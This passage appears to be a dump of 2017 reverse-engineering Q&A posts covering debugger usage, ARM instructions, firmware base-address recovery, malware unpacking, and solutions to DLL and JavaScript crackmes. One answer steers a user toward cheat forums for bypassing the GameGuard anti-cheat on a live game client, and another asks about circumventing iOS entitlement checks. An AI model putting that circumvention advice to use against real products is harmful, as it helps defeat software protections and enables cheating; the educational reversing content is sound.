    Sadly, I can not tell you how its exactly implemented in OllyDbg. If you consider utilizing a more modern debugger, you may reach active developers capable of helping you with this.

    \n\n

    For example, this is the current state of the call stack in x64dbg:

    \n\n
    \n

    When Show suspected call stack frame option in the context menu in\n call stack view is active, it will search through the entire stack for\n possible return addresses. When it is inactive, it will use standard\n stack walking algorithm to get the call stack. It will typically get\n more results when Show suspected call stack frame option is active,\n but some of which may not be actual call stack frames.

    \n
    \n" }, { "Id": "16567", "CreationDate": "2017-10-17T00:24:01.427", "Body": "

    Hello I try to learn reverse engineering, so i use from process hacker to view dynamic strings in the process's memory... (more info)

    \n\n

    i get something like this :

    \n\n
    Address  Length Result\n-----------------------\n0x853978 (43): hello\n0xfb5e1a8 (86): hello alex !\n
    \n\n

    now i want to know how can i get/find reference address for them ?

    \n\n

    I try with WinHex but i cant, i don't know how can i do this, is it possible to find reference assembly address in file form memory address (for ex : 0x853978) or this is not possible in any way.

    \n\n

    anyone can help ?

    \n", "Title": "possible to get reference assembly address in file for special memory address?", "Tags": "|disassembly|assembly|binary-analysis|memory|processhacker|", "Answer": "

    When you are using Process Hacker to find strings, you will look at a running process. Process Hacker iterates over the mapped parts of the processes virtual memory and tries to parse everything it finds as a string.

    \n\n

    When you use WinHex to look at your binary, these sections have not been mapped yet and are cramped together into the binary.

    \n\n

    tl:dr;

    \n\n

    Use another program to check for strings (e.g. exe explorer, pe studio, ida, binaryninja, ...), use a debugger to find the strings at the adresses process hacker tells you, or calculate the file offset utilizing the section information.

    \n\n

    Could you clarify what you are trying to do?

    \n\n

    edit

    \n\n

    if you want to find references to strings in code, you are best off utilizing a decent disassembler (binaryninja, radare2, ida pro). It will show you references it can find:

    \n\n

    \"enter

    \n" }, { "Id": "16582", "CreationDate": "2017-10-20T04:52:39.070", "Body": "

    According to documentation, the LDRD instruction works, as follows

    \n\n
    LDRD    R8, R9, [R3, #0x20];  load r8 from a word 32 bytes above the address in R3, and load r9 from  a word 36 bytes above the address in R3\n
    \n\n

    I understand the first part, R8 loads from a word 32 bytes(0x20) above R3. Its the second part I don't understand. Why is it 36 bytes instead of 32?

    \n", "Title": "Help with LDRD Instruction", "Tags": "|ida|disassembly|arm|", "Answer": "

    Please referr to the actual instruction manual.

    \n\n

    from page A4-50:

    \n\n
    \n

    LDRD (Load Registers Doubleword) loads a pair of ARM registers from two consecutive words of memory.\n The pair of registers is restricted to being an even-numbered register and the odd-numbered register that\n immediately follows it (for example, R10 and R11).

    \n
    \n\n

    tl/dr: 36 is 32 + 4 (it loads to concecutive words)\nbasically it says at offset 0x20 to r3, get two words for r8 and r9.

    \n" }, { "Id": "16586", "CreationDate": "2017-10-20T14:48:12.080", "Body": "

    I have the following program:

    \n\n
    int main() {\n    char buff[11] = \"helloitbd9\";\n    int x = 4;\n    printf(\"%d\", x);\n\n    return 0;\n}\n
    \n\n

    I can see the string \"helloitbd9\" through a hexdump of the binary, in the beginning of the data section. However, what I don't understand is why when I search for \"all referenced strings\" I only get \"%d\" as a result? Is it because the search only looks for strings which are used in functions? Is there a way to search for all \"strings\" in the data section?

    \n\n

    Image:\n\"enter

    \n", "Title": "Searching for strings in ollydbg", "Tags": "|ollydbg|", "Answer": "

    From my experience, OllyDbg is not so good with handling string references.

    \n\n
    \n

    Is it because the search only looks for strings which are used in functions?

    \n
    \n\n

    As far as I know, \"Search for >> All referenced text strings\" is searching, well, for strings which are referenced in the assembly. It is not searching for a strings in the whole binary, even if they're exist somewhere in the binary. If you want to search for strings in the whole binary you can use your favorite hex-editor or other utilities such as Sysinternals' strings.

    \n\n

    We should keep in mind, though, that whether or not a string which is being used in the code itself (e.g, just assigned to a variable which is never used in the program) will be showed in the binary, might changed in different compilers. Some of them would show the assigning even though the variable is never used, some would still keep the string in the binary but you won't see it in the assembly and others would ignore it entirely and would not include the string in the binary at all.

    \n\n

    Another thing that worth mentioning is that disassemblers sometimes not recognizing strings and would mistake it with hexadecimal values. In such cases you might see something like this:

    \n\n
    ...\nmov     eax, 6C6C6568h\n...\nmov     eax, 6274696Fh\n...\nmov     eax, 3964h \n
    \n\n

    Instead of showing it as mov eax, \"helloitbd9\".

    \n\n
    \n

    Is there a way to search for all \"strings\" in the data section?

    \n
    \n\n

    You said that you saw the string with a hex editor, you should be able to find it with OllyDbg through looking at the memory maps. Go to View >> Memory and double click the memory map you're interested in which is in your case -- .data. In the opened window press Ctrl+b and search for your string, you should find it there. If you don't find it you can also search for it in another memory maps such as .rdata.

    \n\n
    \n\n

    On a personal note, I highly recommend to use x64dbg which is an active open-source project, unlike Ollydbg which is absolutely outdated. Moreover, x64dbg is inspired by OllyDbg so you should not have too many problems with migrating to it.

    \n\n

    Here are some resources:

    \n\n\n" }, { "Id": "16588", "CreationDate": "2017-10-20T20:20:36.297", "Body": "

    I am Kernel debugging in Windbg and it's slow , very slow stepping through.

    \n\n

    My current setup is using VMWARE and Windbg through a com port on the Virtual Machine.

    \n\n

    Is there a faster way to debug the Windows Kernel?

    \n\n

    What are some of my options?

    \n", "Title": "Faster Kernel debugging for Windows", "Tags": "|debugging|windbg|kernel-mode|", "Answer": "

    If you are debugging a newer version of Windows (Windows 8 or higher I believe). You should checkout network based debugging. Works like a charm. No third party dependencies.

    \n\n

    Just open up a cmd prompt as admin and type:\n\nbcdedit /debug on\nbcdedit /dbgsettings net hostip:w.x.y.z port:n\n

    \n\n

    Checkout the MSDN docs for more info

    \n" }, { "Id": "16597", "CreationDate": "2017-10-22T14:29:19.280", "Body": "

    I'd like to try and fix some open source GitHub project that uses the allApplications from LSApplicationWorkspace call from private API which list all installed application on the device.

    \n\n

    The method works fine in the simulator, but on a device running iOS 11, it returns zero results.

    \n\n

    So First, I've downloaded the IPSW file, and opened it I got the following list of files :

    \n\n
    -rw-r--r--@  1 adam.k  staff    15139280 Oct  7 08:16 kernelcache.release.iphone9\n-rw-r--r--@  1 adam.k  staff  2462102996 Oct  7 11:25 058-59998-354.dmg\ndrwxrwxr-x@ 14 adam.k  staff         476 Oct  7 11:34 Firmware\n-rw-r--r--@  1 adam.k  staff    59088923 Oct  7 11:44 058-59982-359.dmg\n-rw-r--r--@  1 adam.k  staff    59801627 Oct  7 11:44 058-59988-357.dmg\n-rw-r--r--@  1 adam.k  staff        3282 Oct  7 11:49 Restore.plist\n-rw-r--r--@  1 adam.k  staff      257603 Oct  7 11:53 BuildManifest.plist\n
    \n\n

    According to some resources from from the web, I understood that the relevant image here is the largest dmg file. after open it, I got the following mount /Volumes/Tigris15A432.D10D101OS

    \n\n

    when looking for the right framework in this image, I got :\nSystem/Library/Frameworks/MobileCoreServices.framework

    \n\n

    but it seems that it doesn't contain any dylib/macho files and I couldn't find the symbol...

    \n\n

    However, In the Info.plist of that framework it says : \n CFBundleExecutable\n MobileCoreServices

    \n\n

    but I couldn't find this MobileCoreServices file anywhere in the image ... any idea where should I find it ?

    \n", "Title": "Getting MobileCoreServices.framework binary in iOS11", "Tags": "|disassembly|ios|", "Answer": "

    Most of the commonly used iOS frameworks do not exist as separate files anymore but are bundled together in the dyld shared cache. MobileCoreServices is also one of such frameworks.

    \n" }, { "Id": "16600", "CreationDate": "2017-10-22T20:19:53.997", "Body": "

    recently i got my hands on one sample that self-modifies its .text section. So, I placed a breakpoint on .text section on write operation and then continued. I found out that it zeroes out the .text section and then writes the decrypted code to that section and then makes a call to the decrypted OEP. I used Scylla to correct the OEP and dump the .exe file.

    \n\n

    \"Scylla_output\"

    \n\n

    When i get the imports it shows that the program only imports kernel32.dll.

    \n\n

    \"PEBear_output\"

    \n\n

    This is the assembly of the dumped .exe file in the PEBear.

    \n\n

    \"ImmunityDBG_output\"

    \n\n

    This is what I get when i try to open the dumped file in ImmunityDbg.

    \n\n

    The imports i get are also very different from what Scylla gave me + The dumped program does not run it crashes right away. What am i doing wrong?

    \n\n

    Thanks.

    \n", "Title": "Reversing Self-Modifying Malware", "Tags": "|disassembly|ollydbg|malware|unpacking|immunity-debugger|", "Answer": "

    Thanks everyone who responded. The IAT was the problem. The OEP I found was the real OEP pointing to the unpacked code. But the dumped executable was not runnable because IAT was corrupt. After Fixing IAT in Scylla. It is now runnable.

    \n" }, { "Id": "16611", "CreationDate": "2017-10-24T01:44:18.930", "Body": "

    It appears there is more than just flash memory on Smartcards.

    \n\n

    Presumably there is also some sort of microprocessor.

    \n\n

    So then along comes this article:

    \n\n

    Crippling crypto weakness opens millions of smartcards to cloning

    \n\n

    Excerpt:

    \n\n
    \n

    Millions of smartcards in use by banks and large corporations for more than a decade have been found to be vulnerable to a crippling cryptographic attack. That vulnerability allows hackers to bypass a wide range of protections, including data encryption and two-factor authentication.

    \n \n

    The critical vulnerability, which researchers disclosed last week, allows attackers to derive the private portion of any vulnerable key using nothing more than the corresponding public portion.

    \n \n

    The so-called factorization attack can be completed in minutes or days, and the price can range from nothing, depending on the key size and type of computer an attacker uses, to $20,000.

    \n \n

    The vulnerability stems from a widely deployed library developed by German chipmaker Infineon, which in turn sells its hardware and software to third-party smartcard and device manufacturers.

    \n \n

    The defect has now been confirmed to affect the first line of Gemalto IDPrime.NET smartcards.

    \n \n

    The cards have been on the market since 2004 at the latest, when Gemalto predecessor Axalto announced Microsoft employees were using the card to secure access to the software maker's network, by, among other things, providing two-factor authentication to company employees worldwide. During the 12 years the cards are known to have been in use, Netherlands-based Gemalto has shipped cards numbering in the millions or even the tens or hundreds of millions.

    \n
    \n\n

    The question is in the title: How does a Smartcard work?

    \n", "Title": "How does a Smartcard work?", "Tags": "|encryption|smartcards|", "Answer": "

    According to the Smartcard Alliance, Smartcards are functionally identical to SIM cards as used in cellphones and tablets, as described here:

    \n\n

    Smart Card Primer (smartcardalliance.org)

    \n\n

    Excerpt:

    \n\n
    \n

    A smart card is a device that includes an embedded integrated circuit\n chip (ICC) that can be either a secure microcontroller or equivalent\n intelligence with internal memory or a memory chip alone. The card\n connects to a reader with direct physical contact or with a remote\n contactless radio frequency interface. With an embedded\n microcontroller, smart cards have the unique ability to store large\n amounts of data, carry out their own on-card functions (e.g.,\n encryption and mutual authentication) and interact intelligently with\n a smart card reader. Smart card technology conforms to international\n standards (ISO/IEC 7816 and ISO/IEC 14443) and is available in a\n variety of form factors, including plastic cards, fobs, subscriber\n identity modules (SIMs) used in GSM mobile phones, and USB-based\n tokens.

    \n
    \n\n

    As @SYS_V rightfully pointed out, the answer is given in depth here:

    \n\n

    How does a SIM card work?

    \n" }, { "Id": "16612", "CreationDate": "2017-10-24T05:08:30.577", "Body": "

    Imagine this:

    \n\n

    You have a binary for a piece of ARM firmware. You are nearly 100% it is ARM, and that it runs on the bare metal. You obtained this firmware from a manufacturers update page.

    \n\n

    However, you are uncertain of the exact model of chip the binary is intended for. You are unable to find the developer's guide or spec sheet for the chip.

    \n\n

    The binary has no known headers, and research suggests that it is not compressed or encrypted. The large section of strings at the bottom of the binary suggests it is a single flat binary file, and not several records compressed together. There are no indications of a file system.

    \n\n

    You should reasonably be able to disassemble the code but a few factors are missing to prevent you from retrieving control-flow, and creating a sensical disassembly.

    \n\n

    1) You do not know where the initial entry point is. \n2) You do not know if there is a ram section, and what address it might start and end at. \n3) You do not know if there is a rom section, and what address it might start and end at.

    \n\n

    Given these, or similar circumstances, how might a reverse engineer deduce the initial entry point, and location/size of areas like ROM?

    \n\n

    I imagine detecting reads and writes from a memory mapped chip of some sort would be possible to infer from a valid disassembly, just by highlighting common memory regions which are frequently referenced, and classifying them into sections. I am hoping someone has come up with an automated method for this sort of analysis.

    \n\n

    E.G

    \n\n

    \"The range 0x7-0x9 is frequently referenced. It may be ROM. The highest address is 0x7998, the area appears to occupy 8 Mbs.\"

    \n\n

    The other area, identifying the entry point, has stumped me so far. Without the documentation for the chip is it possible to infer the initial entry point of the code? This is especially frustrating on chips where the bootloader appears to be stored in ROM separate from the main firmware.

    \n\n

    Can the structure of such a firmware image be implied without developer documentation?

    \n", "Title": "Is there a method for \"guessing\" the addresses for unknown areas in bare metal firmware binaries?", "Tags": "|disassembly|firmware|", "Answer": "

    What I usually do:

    \n\n\n\n

    Now you have two lists of address differences, if you find a sequence of consecutive differences which is in both lists, you have found your base address.

    \n\n

    This works most of the time, but you can run in to the problem that both lists may be incomplete. For instance the address list will not have absolute pointers for each function, or maybe you disassembled some functions incorrectly. Maybe you will have better luck focussing on the string addresses.

    \n\n

    I usually do this list matching by hand, in vim using regex searches. On some occasions I have written small scripts to help finding a match. ... but i can't find those right now, i will update my post if i find them again.

    \n\n
    \n\n

    summary of the chat

    \n\n

    The firmware file being discussed: DVDO Matrix6 Firmware 01.01 from dvdo.

    \n\n

    I took a look at other binaries from the same site, and found references to the LPC1758 - an ARM based chip.

    \n\n

    Indeed IDA does not immediately recognize the binary. The reason is that this binary has only Thumb instructions. IDA expects arm binaries to start with ARM32 code.\nThumb code can be recognised from a hex dump by the presence of byte sequences like 70 47 (BX LR), 00 bf (NOP), *0 b5 (PUSH {...}

    \n\n

    So after changing the segment type T to 1 using Alt-G. I could disassemble the file.

    \n\n

    Finding the offset:

    \n\n

    These two commands will generate a list of dwords occurring in the file, and a list of strings occurring in the file:

    \n\n
    od -Ax -t x4 Matrix6_Version_01/M6FW0101.BIN | perl -pe 's/^\\w+\\s+//' | tr \" \" \"\\n\" | sort|uniq  > dwordlist.txt\nstrings -10 -o -t x \"Matrix6_Version_01/M6FW0101.BIN\" > stringlist.txt\n
    \n\n

    Now look at the first real text in the stringlist:

    \n\n
    28eaa pGSAC Initiation task finished\n28eca SAC Audio Format Discovery task finished\n28ef4 SAC volume has changed\n28f0c Audio System Logical Address not assigned\n28f37 CBUS MUTE received\n28f4b CBUS UN-MUTE received\n28f62 CBUS VOL UP received\n28f78 CBUS VOL DOWN received\n
    \n\n

    You may notice that the first 2 characters of the first string, pG is actually a 70 47 or BX LR instruction.

    \n\n

    Now i would load both files in Vim, and in both run this vim-perl script:

    \n\n
    :perldo s/^\\w+/($x,$p)=(hex($&),$x); sprintf(\"%s(%8x)\", $&, $x-$p)/e\n
    \n\n

    This will lead to a string list looking partially like this:

    \n\n
    28eaa(    25dd) pGSAC Initiation task finished\n28eca(      20) SAC Audio Format Discovery task finished\n28ef4(      2a) SAC volume has changed\n28f0c(      18) Audio System Logical Address not assigned\n28f37(      2b) CBUS MUTE received\n28f4b(      14) CBUS UN-MUTE received\n28f62(      17) CBUS VOL UP received\n28f78(      16) CBUS VOL DOWN received\n
    \n\n

    now, skipping the first two, because of the incorrect pG start, I search in dwordlist.txt, for consecutive lines with respectively 2a, 18 and 2b, using this regex search:

    \n\n
    / 2a)\\n.* 18)\\n.* 2b)\n
    \n\n

    This leads me to the following lines matching in both files:

    \n\n
    0002ebc3(      80)\n0002eeac(     2e9)       28eaa(    25dd) pGSAC Initiation task finished\n0002eeca(      1e)       28eca(      20) SAC Audio Format Discovery task finished\n0002eef4(      2a)       28ef4(      2a) SAC volume has changed\n0002ef0c(      18)       28f0c(      18) Audio System Logical Address not assigned\n0002ef37(      2b)       28f37(      2b) CBUS MUTE received\n0002ef4b(      14)       28f4b(      14) CBUS UN-MUTE received\n0002ef62(      17)       28f62(      17) CBUS VOL UP received\n0002ef78(      16)       28f78(      16) CBUS VOL DOWN received\n0002ef8c(      14)\n
    \n\n

    Subtracting 0x28eaa from 0x2eeac leads me to an offset of 0x6000.

    \n" }, { "Id": "16616", "CreationDate": "2017-10-24T19:32:08.337", "Body": "

    I'm not new to MMO Server Emulation, but I am new to working with a protected Client, and have very basic RCE skills. I would appreciate some direction, and maybe this won't be possible, given the requirements.

    \n\n

    The target is Uncharted Waters Online, now published by Papaya Play, utilizing GameGuard (instead of X-Trap, as the previous publisher).

    \n\n

    Two Priorities:

    \n\n
      \n
    1. Prevent the Client from loading or attempting to refer to GameGuard.
      2. \n
    2. Understand the client-server communication through Packet Analysis. Obviously, impossible with Encrypted Packets.
      3. \n
    \n\n

    My Questions:

    \n\n
      \n

    1. How entrenched is GameGuard? Will simply bypassing the loading routines be enough?? Or must I allow it to load, but Bypass all the functions that it alters? Obviously, I would like the Client to not have to load GameGuard when accessing the Emulated Server.

      2. \n

    2. Encrypted Packets. A major task will be to see the unencrypted packet contents while connected to Live Servers. Does anyone have experience with this? My thoughts are to find and detour the encryption and decryption functions, to output the raw packet information somewhere else. Is this a viable approach? Is this practical, or is there an easier way for me to understand the network communication?

      3. \n
    \n\n

    Thanks all. All I'm looking for is an approach. I can research on my own how to achieve that, but at this point, I don't know enough about GameGuard and Reversing Packet Encryption to know where to start.

    \n", "Title": "Emulation Project - GameGuard Protected Client", "Tags": "|encryption|", "Answer": "

    Game hacker here.

    \n\n

    To address your first question, forums like ElitePVPers, OwnedCore, UnknownCheats, MPGH, etc. are going to be your absolute best friend. The people you'll find in those places are steeped in exactly this type of reversing, so starting with a Google search like UnknownCheats GameGuard will yield results like this. That alone should give you a well-rounded summary of the technology and some of its current exploits (meaning you may not have to do very much heavy lifting on your own).

    \n\n

    As for your second question, yes, that's a viable approach, but it can be extremely tough to find your way to decrypted data depending on how well-guarded they keep it (whether through odd Assembly instruction/sub-routine obfuscation, VMs, ridiculous looping, etc., etc.). Once again, those forums should really take you far. It sounds like you already have a good grasp on the language of reversing, so you positing questions around those places should be taken to by the more intelligent and experienced folks.

    \n\n

    Finally, I highly recommend the book Attacking Network Protocols if that's one of the key areas that interests you with reversing.

    \n\n

    Good luck!

    \n" }, { "Id": "16619", "CreationDate": "2017-10-25T07:51:37.537", "Body": "

    I'd like to analyze iOS private framework that broke commonly used GitHub project called AppLister. Here's some info about the API:

    \n\n
    Framework : MobileCoreServices.framework.\nClass: LSApplicationWorkspace.\nMethod: allApplication.\n
    \n\n

    Starting from iOS11, this call returns empty list unless the following entitlement is added to the application : com.apple.appstored.xpc.request

    \n\n

    It seems like this API was closed in iOS11 and you need the following entitlement in order to allow it.

    \n\n

    Prior to reversing, I wish to understand the flow of entitlement verification in general and maybe get into some details..

    \n\n

    From what I've found out so far, it looks like the App use XPC for remote daemon that perform the actual verification.

    \n\n

    but I still have some black holes in this explanation.

    \n\n
    1. Does the policy checker daemon also perform the method itself, or just return allow/block verdict.\n2. Does the flow involve kernel verification or just user-space processes. \n3. Is there a way to bypass this flow if I can only control the local process (not the checker or course) by skipping the policy check phase and call the API directly ? \n
    \n\n

    I'd be happy to here some more about how this is working, and if I've missed something.

    \n", "Title": "iOS entitlements for enable calling to private API", "Tags": "|ios|", "Answer": "

    Apparently the kernel extension called AppleMobileFileIntegrity (AFMI) is responsible for enforcing the entitlements. Here's a presentation which has some detail of the implementation:

    \n\n

    The Apple Sandbox -five years later by Jonathan Levin.

    \n" }, { "Id": "16624", "CreationDate": "2017-10-25T20:46:11.297", "Body": "

    I was given two DLL files (link) . The task is to get the flag from them. First what I've done - opened the first file (called original) in IDA and found the function called _GetFlag.\n\"enter

    \n\n

    As I understood, I need to call that function from the DLL library somehow (that's the first question - I don't have any info about the function except its name, so I'd like to know how exactly I can call it).\nHowever, as wee see, even if I knew how to call it, we can't get the flag from original DLL, it says Sry, flag is in the patched version.

    \n\n

    Ok, I opened patched DLL in IDA. First what we see that the file can be opened only as a binary:\n\"enter

    \n\n

    As always, I opened the Strings window and we see the string \"0day is bring your own header day! Flag is: %s\" . It looks like a key for solution.

    \n\n

    \"enter

    \n\n

    However, I don't exactly know what to do after that. I'd really appreciate if somebody would explain me how to solve this.

    \n", "Title": "Solving method of DLL crackme", "Tags": "|ida|dll|crackme|", "Answer": "

    Once you have patched the malformed bytes to make the patched DLL proper, you can use something like this to call the GetFlag function.

    \n\n
    #include <Windows.h>\n\ntypedef DWORD (__cdecl *_GetFlag)();\n_GetFlag GetFlag;\nHMODULE hDll = NULL;\n\nNTSTATUS main(int argc, char **argv) {\n    hDll = LoadLibrary(\"my_head_flew_away_patched.dll\");\n    GetFlag = (_GetFlag)GetProcAddress(hDll, \"GetFlag\");\n    GetFlag();\n}\n
    \n" }, { "Id": "16625", "CreationDate": "2017-10-25T21:55:04.613", "Body": "

    As the title stands, I want to label local variables ([ebp - x] addresses) the same way I do with functions and global variables. What I've learned:

    \n\n\n\n

    If x64dbg lacks this functionality, is there any plugin that achieves this?

    \n", "Title": "How to label local variables in x64dbg", "Tags": "|tools|debuggers|x64dbg|", "Answer": "

    Two ways to label local variables in x64dbg:

    \n\n
      \n
    1. In x64dbg, follow in dump at address of local var (like this [ebp-4]). Right click at this address and select Add label, then name the label.
      2. \n
    \n\n

    \"enter

    \n\n

    Now in the CPU window, local var is displayed like the following picture:

    \n\n

    \"enter

    \n\n
      \n
    1. Try the labeless plugin : https://github.com/a1ext/labeless/ to sync from IDA to x64dbg.
      2. \n
    \n\n

    Regards;

    \n" }, { "Id": "16626", "CreationDate": "2017-10-26T01:49:38.147", "Body": "

    I want to learn to reverse engineer hardware/firmware as well as software (eventually, i want to focus on hardware/firmware now). I have some experience programming STM32 microcontrollers as well as decent understanding of C. I understand verilog and have made some simple stuff in FPGA and have done PCB board design before as well.

    \n\n

    I started reading \"Reverse Engineering for Beginners\" but it seems like a lot of examples with no hands-on projects to work with. I learn a lot more by doing so if there was a book that teaches you reverse engineering, assembly/disassembly, and other topics with a project in mind i'd much prefer it. I'd like to learn ARM and x86 but more of a focus on ARM.

    \n\n

    As for tools i have a Bus Pirate, Logic Analyzer, and basic soldering equipment. Any recommendations on tools i should get and projects i can do?

    \n", "Title": "Are there any project based books that teach reverse engineering?", "Tags": "|firmware|hardware|", "Answer": "

    You are right, most of the RE books out there are more generic and consists of dozens of different examples and not project oriented. Moreover, they're mostly focused on software reverse engineering.

    \n\n

    From these, and as a reference, it is worth to mention:

    \n\n\n\n

    In the field of hardware reverse engineering, however, it is much harder to find a proper book, not to say one which is project oriented. But there is one book which overcomes the other and seems to fit best for your needs \u2013 Hacking the Xbox: An Introduction to Reverse Engineering by Andrew Huang. The book is available for free since March 2013.

    \n\n

    To quote from the book's description:

    \n\n
    \n

    This hands-on guide to hacking begins with step-by-step tutorials on\n hardware modifications that teach basic hacking techniques as well as\n essential reverse engineering skills. The book progresses into a\n discussion of the Xbox security mechanisms and other advanced hacking\n topics, with an emphasis on educating the readers on the important\n subjects of computer security and reverse engineering. Hacking the\n Xbox includes numerous practical guides, such as where to get hacking\n gear, soldering techniques, debugging tips and an Xbox hardware\n reference guide.

    \n
    \n\n

    You can visit the book's official website for more information.

    \n\n

    Other books which you may find helpful are listed below:

    \n\n\n\n

    It is important for me to note that although the fact that most of these books is available online pirately, I encourage you to buy the books you are interested in and support their authors.

    \n\n
    \n\n

    On a general note, I'd suggest you to start reverse engineering from routers and old game consoles. Good references could be found in /dev/ttys0. Choose a product which is cheap and you can buy many pieces from it so you won't be afraid of destroying it with your tests. The Super Nintendo Entertainment System (SNES) is an example for a console which is documented in details by other reverse engineers, check this for example. As for tools, most of the resources above contains recommendations for tools that would help you in each project.

    \n" }, { "Id": "16634", "CreationDate": "2017-10-26T10:39:44.653", "Body": "

    This crackme contains a text input element on the screen and a button to validate

    \n\n

    The value you enter is set into _inputValue, afterwards you click on a button, the function executes, in the last lines, if selectedOption is 2 it will print \"Congratz\" otherwise there are 5 bad options in the optionsArr.

    \n\n

    after unpacking and cleaning the main function is :

    \n\n
    Password: <input/><br/>\n<button>Check</button>\n<script id=\"urchin\">\n    (function () {\n        var optionsArr = [\n            function () {\n                console.warn(\"boo\")\n            },\n            function () {\n                console.warn(\":(\")\n            },\n            function () {\n                console.log(\"Congratz!\")\n            },\n            function () {\n                console.warn(\"allmost there\")\n            },\n            function () {\n                console.warn(\"muhaha\")\n            },\n            function () {\n                console.warn(\"nahhh\")\n            },\n            function () {\n                console.warn(\"not even close\")\n            }\n        ];\n        var mainFunction = function () {\n            var arr = [];\n            for (var i = 0; i < 256; i++) {\n                arr[i] = i;\n            }\n            var inputVal = document.getElementsByTagName('input')[0].value;\n            var varX = 0;\n//            for (var i2 = 0; i2 < 256; i2++) {\n//                var secret = 'click';\n//                varX = (varX + arr[i2] + secret.charCodeAt(i2 % 5)) % 256;\n//                arr[i2] ^= arr[varX];\n//                arr[varX] ^= arr[i2];\n//                arr[i2] ^= arr[varX];\n//            }\n            arr = [99, 116, 115, 37, 16, 120, 211, 90, 197, 22, 166, 63, 146, 59, 123, 237, 93, 44, 76, 118, 168, 91, 55, 187, 62, 220, 135, 49, 127, 185, 153, 8, 66, 155, 152, 181, 117, 149, 31, 87, 169, 6, 172, 34, 101, 134, 107, 157, 199, 231, 124, 2, 243, 35, 241, 139, 68, 3, 159, 86, 77, 225, 105, 29, 144, 19, 32, 42, 227, 147, 133, 15, 160, 73, 190, 148, 82, 97, 170, 201, 212, 14, 18, 13, 193, 121, 143, 141, 182, 122, 21, 108, 112, 111, 217, 60, 250, 27, 137, 244, 191, 38, 171, 214, 248, 132, 228, 43, 232, 213, 223, 129, 28, 64, 247, 205, 138, 95, 202, 235, 61, 119, 224, 88, 238, 206, 230, 94, 195, 5, 179, 54, 72, 92, 136, 98, 188, 200, 173, 226, 198, 4, 71, 196, 126, 9, 69, 110, 84, 48, 85, 210, 30, 180, 229, 216, 162, 56, 75, 0, 67, 253, 163, 167, 53, 26, 7, 12, 174, 57, 130, 194, 209, 165, 1, 140, 183, 70, 23, 89, 150, 25, 145, 104, 233, 74, 142, 151, 222, 65, 207, 96, 154, 218, 106, 131, 255, 109, 254, 33, 113, 164, 203, 40, 246, 83, 192, 236, 189, 78, 158, 234, 177, 175, 161, 251, 100, 221, 219, 103, 50, 41, 242, 10, 249, 240, 20, 184, 24, 80, 52, 51, 81, 11, 156, 245, 114, 239, 186, 125, 17, 204, 128, 47, 36, 39, 215, 208, 46, 176, 178, 58, 45, 102, 252, 79];\n            var idx = varX = 0;\n            var cmpStr = '';\n            for (var i3 = idx; i3 < inputVal.length; i3 += 2) {\n                idx = (idx + 1) % 256;\n                varX = (varX + arr[idx]) % 256;\n                arr[idx] ^= arr[varX];\n                arr[varX] ^= arr[idx];\n                arr[idx] ^= arr[varX];\n                var curHex = inputVal.substr(i3, 2);\n                var hex2int = parseInt(curHex, 16);\n                var charCode = hex2int ^ arr[(arr[idx] + arr[varX]) % 256];\n                cmpStr += String.fromCharCode(charCode);\n            }\n            var selectedOption = cmpStr.charCodeAt(cmpStr.charCodeAt(0) % cmpStr.length) % 6;\n\n            if (cmpStr != 'input128' && selectedOption == 2) selectedOption++;\n            optionsArr[selectedOption]();\n        };\n        var btn = document.getElementsByTagName('button')[0];\n        if (typeof(btn.addEventListener) != typeof(mainFunction)) {\n            btn.attachEvent('onclick', mainFunction);\n        } else {\n            btn.addEventListener('click', mainFunction, true);\n        }\n        btn = document.getElementById('urchin');\n        btn.parentNode.removeChild(btn);\n    })();\n</script>\n
    \n\n

    I understand my input after decrypt needs to be \"input128\", how can I reverse the process to encrypt \"input128\" ?

    \n\n\n", "Title": "reverse javascript crackme encryption method algorithm", "Tags": "|obfuscation|javascript|", "Answer": "

    To extend on EWD-0- about the reversibility of RC4 here's how I tried it:

    \n\n

    From your actual code and reversing it a little to get \"input128\" encoded:

    \n\n
    arr = [99, 116, 115, 37, 16, 120, 211, 90, 197, 22, 166, 63, 146, 59, 123, 237, 93, 44, 76, 118, 168, 91, 55, 187, 62, 220, 135, 49, 127, 185, 153, 8, 66, 155, 152, 181, 117, 149, 31, 87, 169, 6, 172, 34, 101, 134, 107, 157, 199, 231, 124, 2, 243, 35, 241, 139, 68, 3, 159, 86, 77, 225, 105, 29, 144, 19, 32, 42, 227, 147, 133, 15, 160, 73, 190, 148, 82, 97, 170, 201, 212, 14, 18, 13, 193, 121, 143, 141, 182, 122, 21, 108, 112, 111, 217, 60, 250, 27, 137, 244, 191, 38, 171, 214, 248, 132, 228, 43, 232, 213, 223, 129, 28, 64, 247, 205, 138, 95, 202, 235, 61, 119, 224, 88, 238, 206, 230, 94, 195, 5, 179, 54, 72, 92, 136, 98, 188, 200, 173, 226, 198, 4, 71, 196, 126, 9, 69, 110, 84, 48, 85, 210, 30, 180, 229, 216, 162, 56, 75, 0, 67, 253, 163, 167, 53, 26, 7, 12, 174, 57, 130, 194, 209, 165, 1, 140, 183, 70, 23, 89, 150, 25, 145, 104, 233, 74, 142, 151, 222, 65, 207, 96, 154, 218, 106, 131, 255, 109, 254, 33, 113, 164, 203, 40, 246, 83, 192, 236, 189, 78, 158, 234, 177, 175, 161, 251, 100, 221, 219, 103, 50, 41, 242, 10, 249, 240, 20, 184, 24, 80, 52, 51, 81, 11, 156, 245, 114, 239, 186, 125, 17, 204, 128, 47, 36, 39, 215, 208, 46, 176, 178, 58, 45, 102, 252, 79];\nvar idx = varX = 0;\nvar cmpStr = '';\nfor (var i3 = idx; i3 < 'input128'.length; i3 += 1) {\n  idx = (idx + 1) % 256;\n  varX = (varX + arr[idx]) % 256;\n  arr[idx] ^= arr[varX];\n  arr[varX] ^= arr[idx];\n  arr[idx] ^= arr[varX];\n\n  var hex2int = 'input128'.charCodeAt(i3);\n  var charCode = hex2int ^ arr[(arr[idx] + arr[varX]) % 256];\n\n  cmpStr += charCode.toString(16)+\" \";\n}\nconsole.log(cmpStr);\n
    \n\n

    Main difference in the loop is running by step of 1 by char, and taking each character code to xor with the corresponding key value. It is then encoded in hex as your original code does read hex values (the loop run by step of 2) to get character code (curHex then hex2int).

    \n\n

    This give me: 95 69 18 b1 82 8 c1 59

    \n\n

    You just have to add a 0 to the 6th entry and remove the spaces to fill inputValue and you'll get back 'input128' in cmpStr.

    \n" }, { "Id": "16648", "CreationDate": "2017-10-28T17:24:39.477", "Body": "

